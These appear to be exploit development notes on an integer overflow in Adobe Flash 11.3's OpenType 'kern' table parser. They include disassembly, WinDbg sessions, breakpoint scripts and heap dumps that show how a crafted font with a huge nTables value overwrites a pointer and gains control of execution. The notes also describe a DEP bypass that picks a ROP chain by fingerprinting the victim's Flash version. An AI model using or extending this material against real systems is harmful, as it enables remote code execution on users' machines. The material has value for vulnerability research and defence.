HERE

The first offset (0x7800) doesn't seem to point to anything meanful in 010 editor. But the second
one (0x8340) falls into the "kern" table section:

struct tTable Table[8]	kern (1801810542) at 33604 for 15852	8Ch	10h	Fg:
union Tag		8Ch	4h	Fg:
ULONG checkSum	A466AE58h	90h	4h	Fg:
ULONG offset	8344h	94h	4h	Fg:
ULONG length	3DECh	98h	4h	Fg:

The 010 TFF template can't seem to parse the kern table properly. But we can do it manually.
According to the TFF specs found at developer.apple.com:

	https://developer.apple.com/fonts/TTRefMan/RM06/Chap6kern.html

Table 25: 'kern' header
Type	Name	Description
fixed32	version	The version number of the kerning table (0x00010000 for the current version).
uint32	nTables	The number of subtables included in the kerning table.

So let's look at line 0x00008340 again:

$ cat PSPop.otf |hexdump -C |grep 00008340
00008340  00 00 00 00 00 01 00 00  10 00 00 00 1e 0c ff e8  |................|
                         ^Version  ^ nTables

Our DEP-bypass strategy is by remotely detecting the Flash version (which can be fingerprinted by
checking the 'x-flash-version' header), and then return the payload -- including the ROP chain
specific to that Flash version.  If we don't have a suitable ROP chain for a Flash version, we
return a JRE ROP chain instead.  One possible drawback while using the Flash ROP is that the Flash
ocx can rebase. For example: if the victim machine has Adobe PDF installed, it is possible
AcroIEHelperShim.dll can push the Flash ActiveX component out of 0x10000000, and then cause the
exploit to fail. Other components could also do the same.



Note: Integer overflow probably needs to be explained better

# The Integer Overflow

Flash Version used to document the Integer Overflow: 11.3.300.268

* 10h bytes are reserved to store the Kern Header Info:

.text:104418A3 mov eax, [ebp+Allocator]
.text:104418A6 push 10h ; Size to allocate
.text:104418A8 push eax
.text:104418A9 call dword ptr [eax] ; Allocate memory for the Kern Header Info
.text:104418AB mov esi, eax
.text:104418AD pop ecx
.text:104418AE pop ecx
.text:104418AF mov [ebp+Kern_Header_1_var_C], esi

* The Kern Header is filled with the next data:

[esi] => Allocator
[esi + 4] => Stream
[esi + 8] => nTables
[esi + C] => pointer to SubTables

.text:104418C0 mov eax, [ebp+stream]
.text:104418C3 mov ecx, [ebp+Allocator]
.text:104418C6 mov [esi+8], eax ; nTables
.text:104418C9 shl eax, 4 ; ¡¡¡Integer Overflow!!!!
.text:104418CC push eax ; Size to allocate for nTables
.text:104418CD push ecx
.text:104418CE mov [esi], ecx ; allocator
.text:104418D0 mov [esi+4], edi ; stream

The nTables value suffers from an Integer Overflow on 104418C9 and the calculation is used to reserve memory
to store the nTables. Basically it's trying to get 0x10 bytes by every nTable:

.text:104418D3 call dword ptr [ecx] ; Allocate Memory for nTables

And the pointer to the reserved Memory is stored in [esi+0ch]:

.text:104418D5 pop ecx
.text:104418D6 pop ecx
.text:104418D7 xor ecx, ecx
.text:104418D9 mov [esi+0Ch], eax ; Memory Allocated for the nTables, after the Integer Overflow…

How is memory allocated when there is an Integer Overlow? Just a Sample:

* kern Table Header

Breakpoint 0 hit
eax=025fc1b0 ebx=00000008 ecx=00000000 edx=00003dec esi=00000000 edi=025f8250
eip=104418a9 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
Flash32_11_3_300_268!DllUnregisterServer+0x285e47:
104418a9 ff10 call dword ptr [eax] ds:0023:025fc1b0=8d440310
0:000> p
eax=025fd760 ebx=00000008 ecx=1088c214 edx=00000000 esi=00000000 edi=025f8250
eip=104418ab esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
Flash32_11_3_300_268!DllUnregisterServer+0x285e49:
104418ab 8bf0 mov esi,eax

So Memory for the Kern Table Header is allocated at: 025fd760

* nTables:

eax=00000000 ebx=00000008 ecx=025fc1b0 edx=00000000 esi=025fd760 edi=025f8250
eip=104418d3 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040247
Flash32_11_3_300_268!DllUnregisterServer+0x285e71:
104418d3 ff11 call dword ptr [ecx] ds:0023:025fc1b0=8d440310
0:000> p
eax=025f9038 ebx=00000008 ecx=1088c1cc edx=00000000 esi=025fd760 edi=025f8250
eip=104418d5 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
Flash32_11_3_300_268!DllUnregisterServer+0x285e73:
104418d5 59 pop ecx

Memory for nTables is (incorrectly) allocated at: 025f9038

The crafted OTF font file has 0x10000000 nTables, and for every nTable 0x10 bytes
are filled, it wants to say that, after

025fd760 – 025f9038 => 0x4728 / 0x10h => 0x472 (ENTRIES)

So after 0x472 entries, the memory for the kern Table Header should be
overwritten. Having into account that the nTables memory is filled in a loop,
after 0x472 loops, the Kern Header Table will be overwritten. It is interesting
because the nTables value stored in the kern Header Table (offset +8) is used
as condition to leave the copy loop:

.text:104419C3 inc [ebp+counter_nTables_Read_var_8]
.text:104419C6 mov eax, [ebp+Kern_Header_1_var_C]
.text:104419C9 mov ecx, [ebp+counter_nTables_Read_var_8]
.text:104419CC add [ebp+data_nTables_copied_var_4], 10h
.text:104419D0 add ebx, [ebp+var_18]
.text:104419D3 mov esi, eax
.text:104419D5 cmp ecx, [eax+8] ; comparing ecx with nTables
.text:104419D8 jb loc_10441906 ; copy loop

In every loop 0x10 bytes are filled. In order to understand how memory is overwritten
we can put the next breakpoints:

bp 10441964 “.echo Offset 0; r esi; r eax; g”
bp 10441921 “.echo Offset 4; r esi; r ebx; g”
bp 10441973 “.echo Offset 8; r esi; r eax; g”
bp 104419A6 “.echo Offset C; r esi; r eax; g”
bp 104419D5 “.echo Counter; r ecx; g”

The file debug_flash.txt contains a debugged session to understand how nTables are filled. The
data is partialy controlled from the OTF font file. The pattern is the next one:

025fb138 00000000 1e0cfff0 1e0d0000 ffffffff
025fb148 00000000 1e0cfff0 1e0d0000 ffffffff
025fb158 00000000 1e0cfff0 1e0d0000 ffffffff

               ^^^^^^^^ ^^^^^^^^
                controlled data

When the Kern header is overwritten it's what happens when comparing the ecx counter with the
nTables stored value:

ecx=00000474
eax + 8 => 025fd768 00000000

So it goes away from the loop, with the Kern Header Table filled with the next data:

0:000> dd 025fd760 L4
025fd760 1e0d0000 ffffffff 00000000 1e0cfff0

Once the function returns, it is what happens:

.text:104354DF call overflow_sub_1044184C ; it manages the kern table
.text:104354E4 add esp, 0Ch ; we’re returning here
.text:104354E7 mov [esi+0F8h], eax
.text:104354ED
.text:104354ED loc_104354ED: ; CODE XREF: sub_10435420+BAj
.text:104354ED mov eax, [esi+4]
.text:104354F0 push ‘GDEF’
.text:104354F5 push dword ptr [esi+8]
.text:104354F8 push eax
.text:104354F9 push edi
.text:104354FA push ebx
.text:104354FB call dword ptr [eax+20h] ; get control

Once we return from overflow_sub_1044184C starts the parsing of the GDEF table (also related
to OTF parsing), on 104354FB control can be achieved:

Breakpoint 0 hit
eax=029fb360 ebx=029fc1b0 ecx=00000472 edx=00000000 esi=02b8c020 edi=0013db80
eip=104354fb esp=0013db08 ebp=0013db30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
Flash32_11_3_300_268!DllUnregisterServer+0x279a99:
104354fb ff5020 call dword ptr [eax+20h] ds:0023:029fb380=00000d1e
0:000> dd eax
029fb360 1e0d0000 ffffffff 00000000 1e0cfff0
029fb370 1e0d0000 ffffffff 00000000 1e0cfff0
029fb380 1e0d0000 ffffffff 00000000 1e0cfff0
029fb390 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3a0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3b0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3c0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3d0 1e0d0000 ffffffff 00000000 1e0cfff0
0:000> dd eax + 20
029fb380 1e0d0000 ffffffff 00000000 1e0cfff0
029fb390 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3a0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3b0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3c0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3d0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3e0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3f0 1e0d0000 ffffffff 00000000 1e0cfff0

EAX comes from ESI+4:

0:000> dd esi
02b8c020 029fc1b0 029fb360 00000000 00000000

               ^^^^^^^^

02b8c030 00000000 00000000 00000000 00000000
02b8c040 029fd710 029ff4d0 00000000 00020001
02b8c050 00040003 00060005 00080007 000a0009
02b8c060 000c000b 000e000d 0010000f 00120011
02b8c070 00140013 00160015 00180017 001a0019
02b8c080 001c001b 001e001d 0020001f 00220021
02b8c090 00240023 00260025 00280027 002a0029

As a sample in a use case it is what happens:

* Memory allocated for kern header table: 028fd740
* Memory allocated for subtables: 028f9038
* ESI+4h => 028fb360

028F9038 => SUBTABLES
. |
. |
028fb360 => Interesting pointer overwritten | Overflow!
. |
. |
028fd740 => Kern header \/
”`